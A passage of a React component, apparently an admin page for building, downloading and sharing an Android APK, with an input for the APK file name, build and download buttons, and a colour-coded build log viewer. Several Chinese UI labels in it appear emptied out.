value={pageStyleConfig.usageInstructions}
onChange={(e) => setPageStyleConfig(prev => ({ ...prev, usageInstructions: e.target.value }))}
placeholder="请输入使用说明文本"
rows={6}
maxLength={500}
showCount
style={{ borderRadius: '8px' }}
/>
</Col>
</Row>
<Row gutter={[16, 16]}>
<Col xs={24} sm={8}>
<Space>
<FileOutlined style={{ color: '#722ed1', fontSize: '20px' }} />
<Text strong>APK文件名</Text>
</Space>
</Col>
<Col xs={24} sm={16}>
<Space direction="vertical" style={{ width: '100%' }}>
<Input
value={pageStyleConfig.apkFileName}
onChange={(e) => setPageStyleConfig(prev => ({ ...prev, apkFileName: e.target.value }))}
placeholder={`默认: ${getDefaultAPKFileName()}`}
maxLength={50}
showCount
style={{ borderRadius: '8px' }}
suffix={
<Tooltip title="清空使用默认名称">
<Button
type="text"
size="small"
icon={<DeleteOutlined />}
onClick={() => setPageStyleConfig(prev => ({ ...prev, apkFileName: '' }))}
style={{ border: 'none', padding: '0 4px' }}
/>
</Tooltip>
}
/>
<Text type="secondary" style={{ fontSize: '12px' }}>
使: {getDefaultAPKFileName()}.apk
</Text>
</Space>
</Col>
</Row>
<Alert
type="info"
showIcon
message="页面样式说明"
description={
<div>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong></strong>Android应用主页的标题位置
</p>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong></strong> \\n
</p>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong></strong>
</p>
<p style={{ margin: 0, marginBottom: 8 }}>
<strong>使</strong>
</p>
<p style={{ margin: 0 }}>
<strong>APK文件名</strong>APK文件名使
</p>
</div>
}
style={{
background: 'linear-gradient(135deg, #f6ffed 0%, #f0f9ff 100%)',
border: '1px solid #b7eb8f',
borderRadius: '8px'
}}
/>
</Space>
</div>
)
}
]}
expandIcon={({ isActive }) => <CaretRightOutlined rotate={isActive ? 90 : 0} />}
style={{
background: 'transparent',
border: 'none'
}}
/>
</Card>
{/* 操作按钮区域 */}
<Card style={{
textAlign: 'center',
padding: '40px',
borderRadius: '20px',
background: 'linear-gradient(135deg, #fff 0%, #f8f9ff 100%)',
boxShadow: '0 20px 40px rgba(0,0,0,0.08)',
border: '1px solid rgba(102, 126, 234, 0.1)'
}}>
<Title level={3} style={{ marginBottom: 32, color: '#2c3e50' }}>
🛠
</Title>
<Space size="large">
<Button
type="primary"
size="large"
icon={<BuildOutlined />}
onClick={buildAPK}
loading={building}
disabled={building}
style={{
minWidth: 160,
height: '60px',
fontSize: '18px',
fontWeight: 600,
borderRadius: '12px',
background: 'linear-gradient(135deg, #667eea 0%, #764ba2 100%)',
border: 'none',
boxShadow: '0 8px 32px rgba(102, 126, 234, 0.3)',
transition: 'all 0.3s ease'
}}
>
{building ? '🔄 构建中...' : '🚀 开始构建'}
</Button>
{data?.apkInfo?.exists && (
<Space direction="vertical" size={8}>
<Button
size="large"
icon={<DownloadOutlined />}
onClick={downloadAPK}
style={{
minWidth: 160,
height: '60px',
fontSize: '18px',
fontWeight: 600,
borderRadius: '12px',
background: 'linear-gradient(135deg, #48dbfb 0%, #0abde3 100%)',
border: 'none',
color: 'white',
boxShadow: '0 8px 32px rgba(72, 219, 251, 0.3)',
transition: 'all 0.3s ease'
}}
>
📥 APK
</Button>
</Space>
)}
</Space>
</Card>
{/* APK 分享管理器 */}
<div style={{ marginTop: 24 }}>
<APKShareManager
serverUrl={serverUrl}
onShareUrlGenerated={(url) => {
setShareUrl(url)
// 可以在这里添加额外的处理逻辑
}}
/>
</div>
{/* 构建日志窗口 */}
<Modal
title={
<Space>
<FileOutlined />
<span></span>
{building && (
<Badge status="processing" text="构建中..." />
)}
</Space>
}
open={logModalVisible}
onCancel={() => setLogModalVisible(false)}
width={900}
footer={[
<Button key="refresh" icon={<SyncOutlined />} onClick={() => fetchBuildLogs(100)} loading={logLoading}>
</Button>,
<Button key="clear" danger icon={<DeleteOutlined />} onClick={clearBuildLogs}>
</Button>,
<Button key="close" onClick={() => setLogModalVisible(false)}>
</Button>
]}
styles={{
body: {
padding: 0,
maxHeight: '70vh',
overflow: 'hidden'
}
}}
>
<div
ref={logContainerRef}
style={{
background: '#1e1e1e',
color: '#d4d4d4',
fontFamily: 'Consolas, Monaco, "Courier New", monospace',
fontSize: '13px',
lineHeight: '1.6',
padding: '16px',
height: '60vh',
overflow: 'auto',
borderRadius: '4px',
position: 'relative'
}}
>
{logLoading && buildLogs.length === 0 ? (
<div style={{ textAlign: 'center', padding: '40px', color: '#888' }}>
<Spin size="large" />
<div style={{ marginTop: 16 }}>...</div>
</div>
) : buildLogs.length === 0 ? (
<div style={{ textAlign: 'center', padding: '40px', color: '#888' }}>
<FileOutlined style={{ fontSize: '48px', marginBottom: 16 }} />
<div></div>
</div>
) : (
<div style={{
whiteSpace: 'pre-wrap',
wordBreak: 'break-word'
}}>
{buildLogs.map((log, index) => {
// 根据日志级别和内容设置颜色
let logColor = '#d4d4d4'
const message = log.message || ''
// 优先使用日志级别
if (log.level === 'error' || log.level === 'ERROR') {
logColor = '#f48771'
} else if (log.level === 'warning' || log.level === 'WARNING' || log.level === 'warn') {
logColor = '#dcdcaa'
} else if (log.level === 'success' || log.level === 'SUCCESS') {
logColor = '#4ec9b0'
} else if (log.level === 'info' || log.level === 'INFO') {
logColor = '#569cd6'
} else {
// 如果没有级别,根据消息内容判断
if (message.includes('错误') || message.includes('error') || message.includes('Error') || message.includes('ERROR') || message.includes('失败') || message.includes('FAIL')) {
logColor = '#f48771'
} else if (message.includes('警告') || message.includes('warning') || message.includes('Warning') || message.includes('WARNING')) {
logColor = '#dcdcaa'
} else if (message.includes('成功') || message.includes('success') || message.includes('Success') || message.includes('SUCCESS') || message.includes('完成')) {
logColor = '#4ec9b0'
} else if (message.includes('信息') || message.includes('info') || message.includes('Info') || message.includes('INFO')) {
logColor = '#569cd6'
}
}
return (
<div
key={index}
style={{
color: logColor,
marginBottom: '2px',
padding: '2px 0',
display: 'flex',
alignItems: 'flex-start',
lineHeight: '1.5'
}}
>
{log.timeString && (
<span style={{
color: '#666',
marginRight: '8px',
fontSize: '11px',
minWidth: '140px',
flexShrink: 0,
fontFamily: 'monospace'
}}>
{log.timeString}
</span>
)}
<span style={{
color: '#888',
marginRight: '8px',
fontSize: '11px',
minWidth: '70px',
flexShrink: 0,
fontWeight: 'bold'
}}>
{log.level ? `[${log.level.toUpperCase()}]` : '[INFO]'}
</span>
<span style={{ flex: 1, wordBreak: 'break-word' }}>
{message}
</span>
</div>
)
})}
</div>
)}
</div>
</Modal>
<style>{`
@keyframes spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
@keyframes pulse {
0% { transform: scale(1); opacity: 1; }
50% { transform: scale(1.05); opacity: 0.8; }
100% { transform: scale(1); opacity: 1; }
}
@keyframes fadeIn {
from { opacity: 0; transform: translateY(20px); }
to { opacity: 1; transform: translateY(0); }
}
.hover-effect:hover {
transform: translateY(-4px);
box-shadow: 0 16px 64px rgba(0,0,0,0.15) !important;
}
.ant-card {
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
}
@media (max-width: 768px) {
.ant-col {
margin-bottom: 16px;
}
.mobile-stack {
flex-direction: column !important;
}
.mobile-center {
text-align: center !important;
}
}
@media (max-width: 1200px) {
.large-screen-spacing {
padding: 16px !important;
}
}
`}</style>
</div>
)
}
export default APKManager